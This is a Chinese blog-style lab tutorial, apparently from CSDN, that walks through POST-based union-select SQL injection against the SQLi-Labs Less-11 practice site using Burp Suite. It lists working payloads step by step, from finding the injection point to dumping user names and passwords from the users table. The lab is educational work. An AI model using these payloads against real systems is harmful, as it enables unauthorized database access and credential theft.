本章目的
普及POST注入的原理和特点,掌握利用联合查询(unionselect)的方法实现SQL注入的基本流程。
实验环境
攻击机:Pentest-Atk
(1)操作系统:Windows10
(2)安装的应用软件:Sqlmap、Burpsuite、FireFox浏览器及其插件Hackbar、等
(3)登录账号密码:操作系统帐号Administrator,密码123
靶机:A-SQLi-Labs
(1)操作系统:本机(建议用虚拟机)不过我太懒了[]~( ̄▽ ̄)~*Centos7(本机亦可)
(2)安装的应用软件:Apache、MySQL(MariaDB)、PHP:DVWA、SQLi-Labs、
webug3.0下载环境搭建
(3)登录账号密码:操作系统帐号root,密码666
实验原理
POST注入,其注入点存在于POST表单中的参数处。攻击者可以通过代理抓包工具(如Burpsuite)拦截并修改POST表单中的参数,利用unionselect命令进行注入,暴露数据库中存储的信息。
实验步骤
本实验的目标是:以SQLi-Labs网站的Less-11为入口,利用联合查询(union select)的方式实施SQL注入,获取SQLi-Labs网站的登录用户名和密码。
1.访间SQLi-Labs网站
在攻击机Pentest-Atk打开FireFox浏览器,并访问粑机A-SQLi-Labs上的
SQLi-Labs网站Less-11。访问的URL为:
http://[把机IP]/sqli-labs/less-11/
(注意大小写)
2.利用Burpsuite工具抓包
(1)启动Burpsuite
(2)设置Burpsuite的代理服务端口
在Burpsuite软件界面上选择选项卡 Proxy->Options,在ProxyListeners模
块下,将Burpsuite的代理服务端口设置为8080(此为Burpsuite默认的服务端
口)。
(3)开启Burpsuite的代理拦截功能
在Burpsuite软件界面上选择选项卡“Proxy“->“lntercept”,将拦截开关按钮的状
态设置为Interceptison。
注意:上述设置完成之后,不要关闭Burpsuite!
(4)设置Fiefox代理
回到FireFox浏览器界面,鼠标右键单击浏览器地址栏右方的FoxyProxy插件图
标按钮,在弹出的菜单中选择“为全部URLS启用代理服务器127.0.0.1:8080”
代理成功变为蓝色。
抓包成功
(6)将Burpsuite工具拦截到的HTTP请求包发送至Repeater模块。选中拦截到的HTTP请求包全部内容,单击鼠标右键,在弹出的菜单中选择“Send to Repeater”,将其发送给Burpsuite的Repeater模块。
发送成功后,在Burpsuite的Repeater选项卡下能够看到刚刚拦截的HTTP请求包内容。
转换为视图成功
后续的步骤中,可以继续在Repeater选项卡下的Request栏中设置注入的payload,设置完成后点击Send按钮发送,并在Response栏中观察目标服务器的响应
3.寻找注入点
在POST表单处,分别使用以下2条payload寻找注入点及判断注入点的类型:
uname=admin'&passwd=1&submit=Submit
报错!
uname=admin'#&passwd=1&submit=Submit
目标正常会显用户名和密码!
由此可以判断,目标网站在POST参数处存在字符型注入点
4.判断网站查询的字段数
尝试使用以下 payload获取网站查询的字段数(关键字 order by):
uname=admin ' order by 1#&passwd=1&submi=Submit
目标正常会显用户名和密码
uname=admin' order by 2#&passwd=1&submit= Submit
目标正常回显用户名和密码!
uname=admin' order by 3#&passwd=1&submit=Submit
报错!
uname=admin' order by 3#&passwd=1&submit= Submit
由此可以判断,网站查询的字段数为2。
5.判断网站的回显位置
利用以下 payload判断网站的回显位置:
uname=admin' and 1=2 union select 1,2#&passwd=1&submit=Submit
运行结果,1号位和2号位均可以回显!
6.获取网站当前所在数据库的库名
利用以下 payload获取冈站当前所在数据库的库名
uname=admin' and 1=2 union select 1, database() #&passwd=1&submit=Submit
显示结果为 security
7.获取数据库 security的全部表名
使用以下 payload获取数据库 security的全部表名
uname=admin' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#&passwd=1&submit=Submit
结果中,有一个名为users的表,这当中可能存放着网站用户的基本信息
8.获取 users表的全部字段名
使用以下 payload获取 users表的全部字段名:
uname=admin' and 1=2 union select 1,group_concat(column_name) from
information_schema.columns where table_schema='security' and
table_name='users'#&passwd=1&submit=Submit
9.获取 users表id、 username和 password字段的全部值由于 users表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我们可以通过 limit m.n的方式逐条显示,如
(1)显示第1组数据
uname=admin 'and 1=2 union select 1,concat_ws(',',id,username, password) from security.users limit 0,1#&passwd=1&submit=Submi
显示结果为Dump,Dump。
2)显示第2组数据
uname=admin' and 1=2 union select 1, concat_ws(',',id, username, password) from security.users limit 1, 1#&passwd=1&submit=Submit
显示结果为 Angelina,- kill-you
(3)显示第3组数据
uname=admin' and 1=2 union select 1,concat_ws(',', id, username,password) from security.users limit 2,1#&passwd=1&submit=Submit
显示结果为 Dummy,p@ssword
以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全
部暴露出来。
SQL注入——SQLmap的进阶使用(十五)_Gjqhs的博客-CSDN博客
SOL注入-基于联合查询的数字型GET注入 burpsuite下载使用
SQL注入-基于联合查询的字符型GET注入 SQL注入 - sql数据库操作基础
...
关注我即刻查看其他SQL注入